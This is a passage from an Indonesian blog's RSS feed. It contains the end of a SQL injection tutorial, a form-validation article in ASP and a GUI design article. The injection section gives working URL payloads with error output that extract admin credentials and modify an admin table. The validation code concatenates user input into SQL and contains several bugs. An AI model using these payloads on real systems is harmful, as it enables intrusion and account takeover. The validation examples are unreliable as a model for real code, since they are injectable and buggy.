 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
 /index.asp, line 5</pre>
<p>Ketika kita meneruskan lebih lanjut, kita memperoleh sisa (rest) nama kolom yang lain, seperti contoh: “password”, “detail”. Kita tahu ini ketika kita memperoleh pesan kesalahan.</p>
<pre>http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--</pre>
<p>Hasil:</p>
<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
 [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
 /index.asp, line 5</pre>
<h3><strong>6.2 Bagaimana mendapatkan kembali data yang kita perlukan ?</strong></h3>
<p>Sekarang kita sudah menidentifikasi beberapa tabel yang penting, dan nama kolomnya, kita dapat menggunakan teknik yang sama untuk informasi lebih lanjut yang kita inginkan dari database.</p>
<p>Sekarang, kita lihat login_name yang pertama dari tabel “admin_login”:</p>
<pre>http://www.myandisun.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--</pre>
<p>Hasil:</p>
<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
 /index.asp, line 5</pre>
<p>Kita tahu ada admin user dengan login name “neo”. Akhirnya mendapatkan password dari “neo” dari database.</p>
<pre>http://www.myandisun.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--</pre>
<p>Hasil:</p>
<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
 /index.asp, line 5</pre>
<p>Sekarang kita dapat login sebagai “neo” dengan menggunakan password “m4trix”.</p>
<h3><strong>6.3 Bagaimana mendapatkan niilai numeric string ?</strong></h3>
<p>Ada batasan teknik untuk menerangkan hal diatas. Kita tidak dapat mendapatkan pesan error jika kita mencoba menkonversi text yang terdiri dari valid number (carakter antara 0-9 saja). Kita coba mendapatkan password dari “trinity” yang “31173”.</p>
<pre>http://www.myandisun.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--</pre>
<p>Kita mungkin akan mendapatkan sebuah halaman “Page Not Found” error. Ini karena password “31173” akan di konversi menjadi number, sebelum UNION dengan integer (10 dalam kasus ini). Selama statement UNION valid, SQL Sqerver tidak akan melemparkan pesan kesalahan, dan kita tidak akan mendapatkan kembalian data beberapa masukan numeric.</p>
<p>Untuk dapat memecahkan masalah ini, kita dapat menginputkan numeric string dengan beberapa alphabet yang dipastikan gagal untuk di konversi. Kita coba query berikut:</p>
<pre>http://www.myandisun.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--</pre>
<p>Kita dengan mudah menggunakan tanda (+) untuk memasukkan password dengan suatu tek yang kita inginkan. Kode ASSCII untuk ‘+’ =0x2b. kita menambahkan ‘(space)morpheus’ dalam passeord yang sebenarnya.  Oleh karena itu, selama kita mempunyai numeric string ‘31173’, ini akan menjadi ’31173’ morpheus’. Dengan memanggil function convert(), mencoba menkonversi ‘31173 mopheus’ menjadi sebuah integer, SQL Server akan mengeluarkan pesan kesalahan:</p>
<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
 /index.asp, line 5</pre>
<p>Sekarang, anda dapat login sebagai &#8216;trinity&#8217; dengan password &#8217;31173&#8242;.</p>
<h3><strong>7.0 Bagaimana megupdate dan memasukkan data ke dalam database?</strong></h3>
<p>Ketka kita sukses mengetahui nama kolom dalam tabel, kita memungkinkan untuk kita meng UPDATE atau melakukan INSERT record baru dalam tabel. Sebagai contoh menganti password “neo”:</p>
<pre> http://www.myandisun.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--</pre>
<p>Untuk INSERT record baru ke dalam database:</p>
<pre> http://www.myandisun.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--</pre>
<p>Kita dapat login sebagai “neo2” dengan password “newpas5”</p>
<h3><strong>8.0 Bagimana menghindari SQL Injection?</strong></h3>
<p>Langkah yang dapat di tempuh untuk mengurangi penyusupan ke halaman web dengan SQL Injection dengan cara:</p>
<p>a.  Memfilter dengan tidak membolehkan karakter seperti single quote, double quote, slash, back slash, semi colon, extended character like NULL, carry return, new line, etc, dalam string form:<br />
- Masukan dari from users<br />
- Parameters di URL<br />
- Nilai dari cookie<strong> </strong></p>
<p>b.  Untuk nilai numeric, convert dulu sebelum melewati statement SQL dengan mengunakan ISNUMERIC untuk meyakinkan itu adalah integer. <strong> </strong></p>
<p>c.  Mengubah  &#8220;Startup and run SQL Server&#8221; menggunakan low privilege user dalam SQL Server Security tab.<strong> </strong></p>
<p>d.  Ubah stored procedure – store procedure yang tidak terpakai, seperti:<br />
master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask<br />
<strong> </strong></p>
<p><strong> </strong></p>
<h3><strong>Kesimpulan</strong><strong> </strong></h3>
<p>SQL Injection dapat bekerja hanya dengan menggunakan Port 80. Fasilitas Web Server yang digunakan untuk menampilkan pesan kesalahan dan stored procedure default Microsoft SQL Server dapat di gunakan untuk mengekplorasi halaman web dengan SQL Injection.</p>
<p>Untuk meminimalkan penyusupan ke server Web dan Server Database kita dapat menghapus atau menonaktifkan service dan stored procedure yang tidak diperlukan. Yang paling penting untuk menutup halaman web kita dengan dari serangan dengan motode SQL Injection adalah Validasi input sebelum dikirim ke web server.</p>
<h3><strong>Daftar Pustaka:</strong></h3>
<p>http://www.wiretrip.net/rfp/p/doc.asp?id=42&#038;iface=6</p>
<p>http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc</p>
<p>http://www.owasp.org/asac/input_validation/sql.shtml</p>
<p>http://www.wiretrip.net/rfp/p/doc.asp?id=7&#038;iface=6</p>
<p>http://www.wiretrip.net/rfp/p/doc.asp?id=60&#038;iface=6</p>
<p>http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf</p>
]]></content:encoded>
			<wfw:commentRss>http://www.andisun.com/jurnal/sql-injection-overview/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Konsistensi dan Validasi Data Pada Halaman Web</title>
		<link>http://www.andisun.com/jurnal/konsistensi-dan-validasi-data-pada-halaman-web-2</link>
		<comments>http://www.andisun.com/jurnal/konsistensi-dan-validasi-data-pada-halaman-web-2#comments</comments>
		<pubDate>Wed, 15 Jul 2009 05:57:09 +0000</pubDate>
		<dc:creator>myandisun</dc:creator>
				<category><![CDATA[Jurnal]]></category>
		<category><![CDATA[client]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[Form]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[validasi]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.andisun.com/?p=127</guid>
		<description><![CDATA[Oleh: Andi Sunyoto Abstraksi Apa yang terjadi jika pada halaman form Anda ada kesalahan pemasukan data atau pengiriman berulang oleh user ke server ? Jika itu adalah masalah Anda maka validasi form adalah jawabannya. Dengan adanya validasi data yang di kirim ke server kita cek dulu kebenarannya. Kata Kunci: validasi, form, web, klient, server Pendahuluan [...]]]></description>
			<content:encoded><![CDATA[<p>Oleh: Andi Sunyoto</p>
<h2>Abstraksi</h2>
<p>Apa yang terjadi jika pada halaman <em>form</em> Anda ada kesalahan pemasukan data atau pengiriman berulang oleh <em>user</em> ke <em>server </em>? Jika itu adalah masalah Anda maka validasi <em>form </em>adalah jawabannya. Dengan adanya validasi data yang di kirim ke <em>server </em>kita cek dulu kebenarannya.</p>
<p><strong>Kata Kunci: </strong>validasi, form, web, klient, server</p>
<h2>Pendahuluan</h2>
<p>Validasi merupakan proses pengecekan masukan yang dari sebuah <em>form </em>sebelum data tersebut diterima dan diolah untuk keperluan selanjutnya. Hal tersebut dilakukan agar tidak terjadi kesalahan proses karena input tidak sesuai yang tipe data yang dinginkan, inkonsistensi data dan duplikasi data.</p>
<p>Sebelum kita membahas tentang Validasi lebih jauh kita akan membahas dua teknik dalam menulis skrip dalam pemrograman internet yaitu, <em>Server-side</em> dan <em>Client Side</em></p>
<p>Yang membedakan antara kedua adalah tempat dimana skrip diproses. Pada <em>side server,</em> proses dilakukan di <em>web server</em>, sedangkan klien <em>(web browser)</em> hanya menerima hasil dalam bentuk HTML. Contoh skrip <em>server side</em> adalah CGI/Perl, Active Server Pages (ASP) dan Java Server Pages (JSP). Pada <em>client side</em> proses dilakukan di <em>web browser</em>. <em>Client side</em> biasanya banyak digunakan untuk hal-hal yang membutuhkan banyak interaktif user dan menggunakan jenis informasi yang pasti dan seragam. Contoh skrip Client Side adalah JavaScript, DHTML.</p>
<p>Walaupun seakan-akan keduanya kontradiksi, tapi mereka saling melengkapi. Di sini pihak programmer dituntut untuk bisa menentukan kapan mereka menggunakan <em>server side,</em> <em>client side</em> atau kapan menggabungnya. <em>Server side</em> biasanya digunakan untuk memproses segala sesuatu yang berhubungan dengan server, seperti environmental dari server, memanipulasi data dalam database.</p>
<p>Pada pembahasan kali ini kita akan membahas validasi diaplikasi berbasis Web <em>(Web Base Aplication)</em>. Skrip yang menjadi acuan adalah ASP( Active Server Pages) yang selanjutnya penulis sebut ASP. Hal yang penting untuk Web developer adalah mengedepankan dan memprediksi apa yang akan dilakukan oleh user dana apakah mereka merasa sulit dengan aplikasi kita. Jika Anda pernah membuat aplikasi dengan ASP yang menggunakan form, dan ada user mengirim response ada keganjilan terjadi: data terkirim dua kali, data tidak komplit atau user melaporakan form tidak tertampil secara baik. Pada tulisan ini kita akan membahas masalah-masalh tentang validasi.</p>
<p><span id="more-127"></span></p>
<h2>Pembahasan</h2>
<h2>a. Validasi <em>TextBox</em> masukan</h2>
<p>Validasi ini mengecek nilai yang kita inputkan pada sebuah <em>form </em>masukan.</p>
<ol>
<li>Validasi      cek data pada <em>form </em>kosong atau tidak</li>
<li>Validasi      tipe data yang diminta sama atau tidak</li>
<li>Validasi      spesial karakter.</li>
<li>Validasi      range</li>
</ol>
<h2>b. Validasi proses database</h2>
<ol>
<li>Validasi      untuk pemasukan dalam database.</li>
<li>Validasi      data dalam database harus isi atau tidak</li>
<li>Validasi      penghapusan dan pengeditan data yang ensyaratkan data harus ada</li>
</ol>
<h2>c. Validasi pengiriman berulang pada Halaman Web</h2>
<h2>Proses Validasi</h2>
<p>Validasi yang tersebut diatas dapat dilakukan Server dan klien.</p>
<p>Kelebihan dan kelemahan proses.</p>
<p><strong>1. Proses      di server (<em>Server Side)</em></strong></p>
<p>Kelebihan terdapat kepastian proses validasi akan dilaksanakan karena proses server tidak tergantung pada browser yang dipakai. Dapat melakukan validasi proses yang pada <em>Aplication Layer</em> (<em>Web Server</em>) dan <em>Database Layer</em>.</p>
<p>Kelemahan pada proses ini memerlukan waktu yang lama karena data harus dikirim ke server terlebih dulu dan di kirim kon kembali konfirmasinya ke browser</p>
<p><strong>2. Proses      Klien (<em>Client Side</em>)</strong></p>
<p>Kelebihan proses di klien adalah proses yang tergolong lebih cepat di banding proses di server. Karena program di eksekusi di client.</p>
<p>Kelemahannya adalah tidak bisa validasi sampai proses database hanya proses pada <em>presentation layer.</em>.</p>
<p><strong> </strong></p>
<p><strong>Solusi Validasi</strong></p>
<p><strong>a. Validasi Text Box</strong></p>
<p>Pada validasi ini sebagian bisa kita lakukan dengan dua model yang itu validasi di klien dan <em>server</em>.<strong> </strong></p>
<p><strong>1. Cek      data isi atau tidak</strong></p>
<p>Proses ini dapat dilakukan di klien maupun di server. Contoh kode programnya:</p>
<p>Proses diserver dengan ASP.</p>
<pre>&lt;%
nim = request(“data”)
If nim = “” Then
. . . ‘tampilkan pesan data belum diisi
Else
. . . ‘proses selanjutnya valid
End If
%&gt;</pre>
<p>Proses di klien dengan bahasa pemrograman JavaScript.</p>
<pre>&lt;Script language="javascript"&gt;
&lt;!-- Begin
function periksa(frm){
 var err = "";
 if (frm.data.value.length&lt;1)err+="- Data Belum Diisi !\n";
 if (err!=""){alert(\n"+err\n" + “Silakan
 &lt;b&gt;Anda &lt;/b&gt; Cek Lagi !");
 window.event.returnValue = false;
 return (false);
 }else {
 frm.submit();}
}
// End --&gt;
&lt;/script&gt;

&lt;Html&gt;
 &lt;Head&gt;&lt;/Head&gt;
 &lt;Body&gt;
 &lt;input type="submit" value="TAMBAH"
 &lt;name="action" onclick="periksa(this.form)"&gt;
&lt;/Body&gt;
&lt;/Html&gt;</pre>
<p>2.<strong> Validasi      tipe data yang diminta sama atau tidak</strong></p>
<p>Masukan dari <em>user </em>sering ada kesalahan sebagai contoh untuk mengisi jumlah haruslah tipe data <em>Numeric</em>. Berikut contoh kode program untuk mengecek masukan apakah bertipe <em>Numeric</em>.</p>
<p>Contoh kode program dengan ASP</p>
<pre>&lt;%
If IsNumeric(Request("jumlah")) Then
... 'proses selanjutnya
Else
... 'pesan salah data bukan numeric
End If
%&gt;</pre>
<p>3.<strong> Validasi      spesial karakter</strong></p>
<p>Validasi ini memungkinkan mengecek apakah dalam suatu masukan ada karakter tertentu yang dinginkan. Sebagai contoh sederhana adalah masukan berupa alamat e-mail yang membutuhkan tanda “@”. Berikut contoh programnya.</p>
<p>Contoh kode program dengan ASP</p>
<pre>&lt;%
datacek = Request("data")
If IntStr(1,datacek,"@") = 0 Then
. . . 'proses validasi benar
Else
. . . 'pesan salah
End If
%&gt;</pre>
<p>4.  <strong>Validasi      data dengan range tertentu.</strong></p>
<p>Misalnya dalam stok data yang dimasukkan harus &gt;=0.</p>
<p>Contoh kode program dengan ASP</p>
<pre>&lt;%
stok = Request(“data”)
If stok &lt; 0 Then
. . . ‘pesan data yang dimasukkan salah
Else
. . . ‘proses jika validasi benar
End If
%&gt;</pre>
<h2><strong>d. Validasi pada database</strong></h2>
<p>Untuk bisa melakukan validasi database request dari klien harus di kirim ke server diolah dan kemudian respon dikirim kembali ke klien.<strong> </strong></p>
<p><strong>1. Validasi      untuk pemasukan dalam database.</strong></p>
<p>Validasi ini untuk menghindari adanya duplikasi data dalam sebuah database.</p>
<p>Berikut potongan kode program untuk validasi dengan ASP.</p>
<pre>&lt;%
. . .
sql = “select * from mhs where nim=’” &amp; txtnim &amp; “’”
Set rs = conn.execute(sql)
If rs.eof Then
. . .’data belum ada proses selanjutnya
Else
. . .’pesan data sudah ada
End If
%&gt;</pre>
<p>2.  <strong>Validasi      data dalam database harus isi atau tidak</strong></p>
<p>Validasi ini bisa kita gabung dengan validasi yang jalan di klien, dengan cek form telah diisi atau belum.</p>
<p>3.  <strong>Validasi      penghapusan dan pengeditan data yang ensyaratkan data harus ada.</strong></p>
<p>Pada proses penghapusan dan edit data data harus sudah ada dalam database. Berikut contoh program denagn ASP.</p>
<pre>&lt;%
. . .
sql = “select * from mhs where nim=’” &amp; txtnim &amp; “’”
Set rs = conn.execute(sql)
If rs.eof Then
. . .’data tidak ada
Else
. . .’proses jika validasi benar
End If
%&gt;</pre>
<h2>c. Validasi duplikasi pengiriman data</h2>
<p>Secara kebetulan pengiriman data berulang sering terjadi, dan itu akan menimbulkan masalah untuk pengoahan data selanjutnya. Idealnya user asuk ke form dalam sebuah Web site, mengisi <em>form </em>yang telah disediakan dan klik men-<em>submit </em>ke server untuk diproses di server dan mengirim kembali ke user sebagai konfirmasi dari respon yang dikirimnya.</p>
<p>Bagaimana jika user klik tombol <em>Back</em> pada <em>Browser </em>dan tanpa disengaja mengirim data yang sama ? Jika anda tidak mengantisipasi hal tersebut data akan dikirim dan diolah diserver berulang. Untuk mengantisipasi kesalahan terkirim dua kali ke server, Anda dapat memuat validasi cek dengan server side untuk memastikan bahwa user mengetahui dia mengirim data dua kali.</p>
<p>Cara yang pertama adalh untuk memastikan user tidak mengirim informasi yang sama dua kali, kita memerlukan indikasi bahwa data sudah diterima olah server. Cara yang tepat adalah kita menggunakan <em>session variabel</em>. Anda dapat mendefinisikan variabel session dengan Session(“submiited”) diinisialisasi False untuk pertama kali dan pernyataan True jika user sudah mengirim datanya. Pesan ketika data dikirim dua kali.</p>
<p>Halaman ASP yang untuk membuat form dan mencek data yang sudah terkirim (form.asp) Potongan kode program untuk situasi ini adalh sebagi berikut sebagai berikut:</p>
<pre>...
&lt;% If Session(“submitted”) Then %&gt;
&lt;!—- ada pesan warning --&gt;
...
&lt;% Else %&gt;
&lt;-- kode menampilkan form --&gt;
...
&lt;% End If %&gt;
...</pre>
<p>Di halaman yang menerima pesan kode program adalah sebagi berikut:</p>
<p>Anda mengirim informasi:</p>
<pre>&lt;p&gt;
&lt;%=request(“data”)%&gt;
&lt;%Session(“submitted”) = True%&gt;</pre>
<p>Cara kedua jika form memerlukan banyak data sebagai masukan lebih baik anda memotong untuk kerperluan menjadi form yang lebih kecil, yang mamandu user memulai sesuatu langkah demi langkah tanpa harus menunggu lama untuk meload <em>control</em> atau halaman pengisian yang banyak. Lebih dari itu jika ada data yang tidak perlu dimasukkan maka tidak usah ditampilkan, misalnya tanggal sekarang , jam sekarang, karena bisa siambil dari server.</p>
<p>Untuk mencegah masalah tersebut, anda dapat meset status data yang dimasukkan. Status dapat menggunakan <em>session variabel </em>apakah record tersebut sudah dimasukkan user atau belum.</p>
<p>Ini bisa menggunakan <em>Session</em> bertipe <em>Boolean </em>untuk masing-masing <em>form</em> dalam <em>multi-step form</em>. Variabel bernilai False jika diasosiasikan form belum diproses dan True adalah sebaliknya.</p>
<p>Contoh kedua tentang aplikasi untuk download biasanya dibagi menjadi dua langkah yaitu: <em>form </em>pertama memmerlukan konfirmasi <em>username</em> dan form kedua menampilkan ComboBox berisi daftar item tergantung user yang disediakan.</p>
<p>Form pertama mempunyai session variabel requested1, dan requested2 untuk form yang kedua. Ketika user mengirim form pertama (form1.asp) session variabel requested1 diset dengan True:</p>
<pre>&lt;Form Method=”post” Action=”form2.asp”&gt;
Your Name:
&lt;Input Type=”text” Name=”name”&gt;
&lt;p&gt;
&lt;Input Type=”submit” Value=”Submit”&gt;
&lt;Input Type=”reset” Value=”Cancel”&gt;
&lt;/Form&gt;
&lt;%
Session(“requested1”)=True
%&gt;</pre>
<p>Ini akan mencek dan memutuskan apakah masukan sudah cukup atau belum. Tentu saja, ketika user sebelum user masuk ke request yang kedua (form2.asp) harus cek dulu form ayng dikirim pada form sebelumnya.</p>
<p>Jika reques pada form1.asp True, form kedua akan di kirim ke browser dan session veriabel requesed2 di set True. Nilai False pada session variabel berarti <em>user</em> mencoba mengakses langsung ke form yang kedua, sehingga browser langsung dipindahkan ke form pertama.</p>
<p>Kode program untuk form yang kedua adalah sebagai berikut:</p>
<pre>&lt;% If Session(“requested1”) Then %&gt;
&lt;Html&gt;
&lt;Head&gt;
&lt;/Head&gt;
&lt;Body&gt;
. . . ‘kode program untuk form kedua
&lt;% Session(“requested2”) True
Else
Response.Redirect “form1.asp”
End If %&gt;
&lt;/Body&gt;
&lt;/Html&gt;</pre>
<p>Catatan, tes pada variabel session requested1 harus dilaksanakan sebelum Tag &lt;Html&gt; untuk mengijinkan kemungkinan redirect. Dalam kenyataan bahwa redirect adalah instruksi browser dan hal tersebut tampak pada HTTP header sebelum kode HTML.</p>
<h2>Kesimpulan</h2>
<p>Teknik validasi merupakan upaya agar data yang dimasukkan sesuai dengan keinginan programmer, agar pengolahan selanjutnya tidak terjadi masalah. Teknik-teknik diatas untuk situasi tertentu. Masing-masing teknik menyelesaikan satu masalah yang spesifik, sehingga masalah kemungkinan digabung juga ada, dan mungkin kita tidak hanya menggunakan dua Session Variabel tapi bisa lebih. Teknik menggabungkan pengecekan di server dan di klien adalah yang terbaik, karena untuk bisa menutupi kelemahan masing-masing teknik.</p>
<h2><strong>Daftar Pustaka</strong></h2>
<ul>
<li>Alex, Homer. Sussman, Dave. Francis, Brian. 1999. Profesional Active Server Pages 3.0. Wrox Press Ltd.</li>
<li>www.asptoday.com</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.andisun.com/jurnal/konsistensi-dan-validasi-data-pada-halaman-web-2/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Basic Mendesain Graphical User Interface (GUI)</title>
		<link>http://www.andisun.com/jurnal/basic-mendesain-graphical-user-interface-gui</link>
		<comments>http://www.andisun.com/jurnal/basic-mendesain-graphical-user-interface-gui#comments</comments>
		<pubDate>Tue, 14 Jul 2009 06:23:43 +0000</pubDate>
		<dc:creator>myandisun</dc:creator>
				<category><![CDATA[Jurnal]]></category>
		<category><![CDATA[Antar muka]]></category>
		<category><![CDATA[desain]]></category>
		<category><![CDATA[Form]]></category>
		<category><![CDATA[GUI]]></category>
		<category><![CDATA[Interface]]></category>
		<category><![CDATA[Kontrol]]></category>
		<category><![CDATA[Label]]></category>
		<category><![CDATA[listbox]]></category>
		<category><![CDATA[multiple]]></category>
		<category><![CDATA[Navigasi]]></category>
		<category><![CDATA[optionbox]]></category>
		<category><![CDATA[sederhana]]></category>
		<category><![CDATA[single]]></category>
		<category><![CDATA[TextBox]]></category>
		<category><![CDATA[User]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.andisun.com/?p=91</guid>
		<description><![CDATA[Prinsip dasar untuk membuat sebuah tampilan antar muka sama halnya dengan prinsip desain dalam mendesain sebuah karya seni di atas kanvas. Prinsip desain adalah cara menyusun (meletakkan) obyek, warna yang semua itu sama dengan tampilan pada layar komputer.
Meskipun banyak alat (tool) pemrograman membuat mudah dalam mendesain dengan hanya drag drop komponen kedalam form anda atau halaman web anda, dengan hanya sedikit rencana dalam mendesain sebuah aplikasi nantinya akan banyak perubahan desain. Team pengenbang software biasanya mendesain elemen dulu dalam kertas, medesain keutuhan komponen atau kontrol yang dibutuhkan dalam software tersebut dan relasi antar form.
Prinsip dasar desain harus diterapkan dalam antar muka program aplikasi atau desain yang berbasiskan web agar diperoleh desain yang bagus. Untuk software aplikasi dan Web base aplikasi berbeda, tapi bagaimanapun juga kedua model aplikasi dan web base mempunyai proses yang mirip.]]></description>
			<content:encoded><![CDATA[<div>Oleh: Andi Sunyoto</div>
<div><strong>Pendahuluan</strong><br />
Prinsip dasar untuk membuat sebuah tampilan antar muka sama halnya dengan prinsip desain dalam mendesain sebuah karya seni di atas kanvas. Prinsip desain adalah cara menyusun (meletakkan) obyek, warna yang semua itu sama dengan tampilan pada layar komputer.<br />
Meskipun banyak alat (tool) pemrograman membuat mudah dalam mendesain dengan hanya drag drop komponen kedalam form anda atau halaman web anda, dengan hanya sedikit rencana dalam mendesain sebuah aplikasi nantinya akan banyak perubahan desain. Team pengenbang software biasanya mendesain elemen dulu dalam kertas, medesain keutuhan komponen atau kontrol yang dibutuhkan dalam software tersebut dan relasi antar form.<br />
Prinsip dasar desain harus diterapkan dalam antar muka program aplikasi atau desain yang berbasiskan web agar diperoleh desain yang bagus. Untuk software aplikasi dan Web base aplikasi berbeda, tapi bagaimanapun juga kedua model aplikasi dan web base mempunyai proses yang mirip.</div>
<p><strong> </strong></p>
<p><strong>Pembahasan</strong><br />
<strong>Elemen Antar Muka</strong><br />
Beberapa elemen digunakan dalam banyak implementasi. Jika elemen dalam antar muka digunakan dengan tepat, akan membantu membuat efisiensi dan produktivitas untuk penguna nantinya. Meskipun elemen itu memiliki banyak perbedaan untuk software aplikasi dan berbasis web, semua fungsinya mirip di lingkungan masing-masing.</p>
<p><strong>Bentuk Desain Antar Muka</strong><br />
Dalam aplikasi berbasis windows, tidak semua sama, ada tiga bentuk utama:<br />
<em><strong>1. Single Document Interface (SDI),</strong></em> Sebuah contoh antar muka SDI adalah aplikasi WordPad yang include di windows. Di dalam WordPad, hanya satu dokumen yang dapat di buka dalam waktu yang sama, dokumen harus ditutup sebelum dokumen lain di buka. Kita tidak bisa bekerja pada dua dokumen yang berbeda dalam waktu yang sama.</p>
<div id="attachment_92" class="wp-caption alignnone" style="width: 310px"><img class="size-full wp-image-92" title="single_document-300x227" src="http://www.andisun.com/wp-content/uploads/2009/07/single_document-300x227.jpg" alt="Model Single Document Interface" width="300" height="227" /><p class="wp-caption-text">Model Single Document Interface</p></div>
<p><span id="more-91"></span></p>
<p><em><strong>2. Multiple-Document Interface (MDI)</strong></em>, sebagi contoh adalah aplikasi  Microsoft Word 2000 and Microsoft Excel 2000. Perangkat lunak tersebut membolehkan membuka, dan menampilkan  banyak dokumen dalam waktu yang sama, tiap dokumen ditampilkan dalam masing-masing window. Untuk berpindah antar dokumen bias menggunakan menu dan sub menu yang ada.</p>
<div id="attachment_93" class="wp-caption alignnone" style="width: 310px"><img class="size-full wp-image-93" title="multiple_dokumen-300x213" src="http://www.andisun.com/wp-content/uploads/2009/07/multiple_dokumen-300x213.jpg" alt="Gambar Model Antar Muka Multiple-Document Interface (MDI)" width="300" height="213" /><p class="wp-caption-text">Gambar Model Antar Muka Multiple-Document Interface (MDI)</p></div>
<p><strong><em>3. Explorer-Style Interface</em>,</strong> Dalam bentuk ini terdapat satu window yang berisi dua panel atau daerah, biasanya konsisten ada tampilan tiga hierarchi di kiri tampilan dan di kanan, seperti Microsoft Windows Explorer.</p>
<div id="attachment_94" class="wp-caption alignnone" style="width: 310px"><img class="size-full wp-image-94" title="explorer-300x273" src="http://www.andisun.com/wp-content/uploads/2009/07/explorer-300x273.jpg" alt="Model Antar Muka Explorer-Style interface" width="300" height="273" /><p class="wp-caption-text">Model Antar Muka Explorer-Style interface</p></div>
<p><em><strong>4. Report Interface.</strong></em> Informasi laporan dapat ditampilkan dalam banyak tipe grafik, row and colom, atau format tek, atau kombinasinya. Banyak aplikasi membolehkan user menampilkan laporan atau mengirim laporan tersebut ke printer untuk keluaran hard-copy.</p>
<div id="attachment_95" class="wp-caption alignnone" style="width: 310px"><img class="size-full wp-image-95" title="report_style-300x225" src="http://www.andisun.com/wp-content/uploads/2009/07/report_style-300x225.jpg" alt="Model Antar Muka Explorer-Style interface" width="300" height="225" /><p class="wp-caption-text">Model Antar Muka Explorer-Style interface</p></div>
<p>Dalam menentukan model antar muka yang mana yang terbaik, tim pengembang software (sotfware developer) perlu melihat tujuanan pembuatan program aplikasi tersebut. Membuat aplikasi jam yang simple model SDI adalah yang terbaik, karena sepertinya tidak ada seseorang yang membuka jam lebih dari satu. Aplikasi asuransi yang model MDI adalah yang terbaik karena akan bekerja pada satu atau lebih pada klien secara bersamaan. Model Windows Explorer akan berguna dalam berbagai macam aplikasi baru, karena dapat menampilkan berbagai macam dokumen, gambar atau file. Model laporan (report) menampilkan format yang permanen untuk menampilkan laporan dan tidak memerlukan interaksi user yang banyak.</p>
<div id="attachment_96" class="wp-caption alignnone" style="width: 310px"><img class="size-full wp-image-96" title="dialogbox" src="http://www.andisun.com/wp-content/uploads/2009/07/dialogbox.jpg" alt="Tampilan dialog pesan konfirmasi penyimpanan" width="300" height="87" /><p class="wp-caption-text">Tampilan dialog pesan konfirmasi penyimpanan</p></div>
<p><strong>Mekanisme Kontrol Dialog Box<br />
</strong>Hampir semua aplikasi memerlukan komunikasi dengan user. Dalam basis windows, dialog box menyuruh user memilih aksi, dan akan melanjutkan aplikasi. Dialog Box adalah salah satu bentuk form yang spesial untuk menampilkan informasi kepada user dan biasanya memerlukan interaksi user untuk melanjutkan aplikasi.<br />
Aplikasi juga harus menampilkan pilihan pada pengguna, dari bentuk Yes/No sampai ke pilihan yang berisi banyak pilihan. Salah satunya seperti gambar dibawah.</p>
<p>Pemilihan komponen yang berlebihan akan membuat deesain kita kurang bagus, pemilihan komponen yang sesaui dengan kebutuhan dan menggunakannya seperti fungsinya akan membuat desain kita lebih berguna. Berikut beberapa macam kontrol.</p>
<div id="attachment_97" class="wp-caption alignnone" style="width: 310px"><img class="size-full wp-image-97" title="toolbox-300x38" src="http://www.andisun.com/wp-content/uploads/2009/07/toolbox-300x38.jpg" alt="Tampilan standar komponen (kontrol) pada Visual Basic." width="300" height="38" /><p class="wp-caption-text">Tampilan standar komponen (kontrol) pada Visual Basic.</p></div>
<p>Adapun fungsi dan nama masing-masing konponen bisa dilihat pada tabel berikut.</p>
<p>Tabel toolbox dan fungsinya.</p>
<table style="height: 390px;" border="0" width="529">
<tbody>
<tr>
<td><strong>Nama</strong></td>
<td><strong>Symbol</strong></td>
<td><strong>Keterangan Fungsi</strong></td>
</tr>
<tr>
<td>Label</td>
<td><img class="alignnone size-full wp-image-98" title="toolbox_label" src="http://www.andisun.com/wp-content/uploads/2009/07/toolbox_label.jpg" alt="toolbox_label" width="25" height="26" /></td>
<td>Hanya menampilkan teks. Dalam aplikasi lingkungan windows bersimbol tanda huruf “A”</td>
</tr>
<tr>
<td>TextBox</td>
<td><img class="alignnone size-full wp-image-99" title="toolbox_textbox" src="http://www.andisun.com/wp-content/uploads/2009/07/toolbox_textbox.jpg" alt="toolbox_textbox" width="27" height="26" /></td>
<td>Teks dapat di edit oleh user. Text Box menampilkan infomasi yang dapat dirubah oleh user. Biasanya text Box digunakan untuk menginputkan data yang akan di rekam datanya.</td>
</tr>
<tr>
<td>Command Button</td>
<td><img class="alignnone size-full wp-image-100" title="toolbox_commandbutton" src="http://www.andisun.com/wp-content/uploads/2009/07/toolbox_commandbutton.jpg" alt="toolbox_commandbutton" width="28" height="26" /></td>
